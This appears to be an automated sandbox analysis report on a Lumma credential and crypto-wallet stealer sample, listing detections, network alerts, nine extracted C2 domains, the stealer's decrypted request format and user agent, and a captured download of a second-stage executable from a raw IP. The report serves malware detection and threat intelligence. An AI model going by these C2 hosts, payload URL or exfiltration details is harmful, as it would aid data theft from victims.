Edit tour

Windows Analysis Report
ZvHSpovhDw.exe

Overview

General Information

Sample name:	ZvHSpovhDw.exe renamed because original name is a hash value
Original sample name:	324d6e34a64ebcf92fa3b8fdeff6ac05.exe
Analysis ID:	1581232
MD5:	324d6e34a64ebcf92fa3b8fdeff6ac05
SHA1:	09d8d1f961b5ab02ef553c4cb878081388151d54
SHA256:	9a3826553e2ea02e6ba570dc2c3ba76cc70edfbfcac44eafc5875c60df6b0dd0
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

PE file contains section with special chars

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Creates a process in suspended mode (likely to inject code)

Downloads executable code via HTTP

Entry point lies outside standard sections

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

ZvHSpovhDw.exe (PID: 3364 cmdline: "C:\Users\user\Desktop\ZvHSpovhDw.exe" MD5: 324D6E34A64EBCF92FA3B8FDEFF6AC05)

chrome.exe (PID: 3292 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=ZvHSpovhDw.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 4436 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2064 --field-trial-handle=1680,i,4262260481644383668,2991190505857384175,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7356 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=ZvHSpovhDw.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7540 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2040 --field-trial-handle=1992,i,9464875061659829024,6717847535062645044,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["prisonyfork.buzz", "cashfuzysao.buzz", "rebuildeso.buzz", "inherineau.buzz", "scentniej.buzz", "mindhandru.buzz", "appliacnesot.buzz", "screwamusresz.buzz", "hummskitnj.buzz"], "Build id": "LOGS11--LiveTraffic"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.2182868454.0000000000B1D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2182934684.0000000000ABB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: ZvHSpovhDw.exe PID: 3364	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: ZvHSpovhDw.exe PID: 3364	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: ZvHSpovhDw.exe PID: 3364	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: ZvHSpovhDw.exe PID: 3364	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 2 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:54:26.035740+0100	2028371	3	Unknown Traffic	192.168.2.5	49704	104.21.11.101	443	TCP
2024-12-27T08:54:28.014251+0100	2028371	3	Unknown Traffic	192.168.2.5	49705	104.21.11.101	443	TCP
2024-12-27T08:54:30.398945+0100	2028371	3	Unknown Traffic	192.168.2.5	49706	104.21.11.101	443	TCP
2024-12-27T08:54:32.794366+0100	2028371	3	Unknown Traffic	192.168.2.5	49707	104.21.11.101	443	TCP
2024-12-27T08:54:35.534810+0100	2028371	3	Unknown Traffic	192.168.2.5	49708	172.67.165.185	443	TCP
2024-12-27T08:54:38.112386+0100	2028371	3	Unknown Traffic	192.168.2.5	49709	172.67.165.185	443	TCP
2024-12-27T08:54:40.636749+0100	2028371	3	Unknown Traffic	192.168.2.5	49712	172.67.165.185	443	TCP
2024-12-27T08:54:45.922657+0100	2028371	3	Unknown Traffic	192.168.2.5	49722	172.67.165.185	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:54:26.776182+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49704	104.21.11.101	443	TCP
2024-12-27T08:54:28.769405+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49705	104.21.11.101	443	TCP
2024-12-27T08:54:46.700825+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49722	172.67.165.185	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:54:26.776182+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49704	104.21.11.101	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:54:28.769405+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49705	104.21.11.101	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:54:48.223573+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	49728	185.215.113.16	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:54:33.807407+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49707	104.21.11.101	443	TCP
2024-12-27T08:54:40.641754+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49712	172.67.165.185	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: ZvHSpovhDw.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://mindhandru.buzz/BH3	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/api0	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/TS6	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/pt	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/apid	Avira URL Cloud: Label: malware

Found malware configuration

Source: ZvHSpovhDw.exe.3364.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["prisonyfork.buzz", "cashfuzysao.buzz", "rebuildeso.buzz", "inherineau.buzz", "scentniej.buzz", "mindhandru.buzz", "appliacnesot.buzz", "screwamusresz.buzz", "hummskitnj.buzz"], "Build id": "LOGS11--LiveTraffic"}

Multi AV Scanner detection for submitted file

Source: ZvHSpovhDw.exe	ReversingLabs: Detection: 60%
Source: ZvHSpovhDw.exe	Virustotal: Detection: 55%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: ZvHSpovhDw.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.2426374367.00000000000B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: hummskitnj.buzz
Source: 00000000.00000002.2426374367.00000000000B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: cashfuzysao.buzz
Source: 00000000.00000002.2426374367.00000000000B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: appliacnesot.buzz
Source: 00000000.00000002.2426374367.00000000000B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: screwamusresz.buzz
Source: 00000000.00000002.2426374367.00000000000B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: inherineau.buzz
Source: 00000000.00000002.2426374367.00000000000B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: scentniej.buzz
Source: 00000000.00000002.2426374367.00000000000B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: rebuildeso.buzz
Source: 00000000.00000002.2426374367.00000000000B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: prisonyfork.buzz
Source: 00000000.00000002.2426374367.00000000000B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: mindhandru.buzz
Source: 00000000.00000002.2426374367.00000000000B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.2426374367.00000000000B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.2426374367.00000000000B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.2426374367.00000000000B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.2426374367.00000000000B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.2426374367.00000000000B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: LOGS11--LiveTraffic

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=ZvHSpovhDw.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=ZvHSpovhDw.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=ZvHSpovhDw.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=ZvHSpovhDw.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Source: ZvHSpovhDw.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49811 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.5:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.5:49722 version: TLS 1.2

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49704 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49704 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49705 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49705 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49707 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49722 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49712 -> 172.67.165.185:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: prisonyfork.buzz
Source: Malware configuration extractor	URLs: cashfuzysao.buzz
Source: Malware configuration extractor	URLs: rebuildeso.buzz
Source: Malware configuration extractor	URLs: inherineau.buzz
Source: Malware configuration extractor	URLs: scentniej.buzz
Source: Malware configuration extractor	URLs: mindhandru.buzz
Source: Malware configuration extractor	URLs: appliacnesot.buzz
Source: Malware configuration extractor	URLs: screwamusresz.buzz
Source: Malware configuration extractor	URLs: hummskitnj.buzz

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 27 Dec 2024 07:54:47 GMTContent-Type: application/octet-streamContent-Length: 2784256Last-Modified: Fri, 27 Dec 2024 07:39:36 GMTConnection: keep-aliveETag: "676e59b8-2a7c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 bf 73 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 40 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 05 00 00 00 60 00 00 00 06 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 66 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 72 69 63 73 72 68 71 6f 00 00 2a 00 00 a0 00 00 00 ec 29 00 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 74 78 6a 72 66 65 63 00 20 00 00 00 a0 2a 00 00 06 00 00 00 54 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 c0 2a 00 00 22 00 00 00 5a 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 172.67.165.185 172.67.165.185
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16
Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49712 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49709 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49708 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49722 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:49728 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49705 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49706 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49707 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49704 -> 104.21.11.101:443

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49811 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic

HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: chromecache_107.5.dr, chromecache_127.5.dr	String found in binary or memory: href="https://www.facebook.com/sharer/sharer.php?u=${s}" equals www.facebook.com (Facebook)
Source: chromecache_107.5.dr, chromecache_127.5.dr	String found in binary or memory: href="https://www.linkedin.com/cws/share?url=${s}" equals www.linkedin.com (Linkedin)
Source: chromecache_107.5.dr, chromecache_127.5.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.facebook.com (Facebook)
Source: chromecache_107.5.dr, chromecache_127.5.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.linkedin.com (Linkedin)
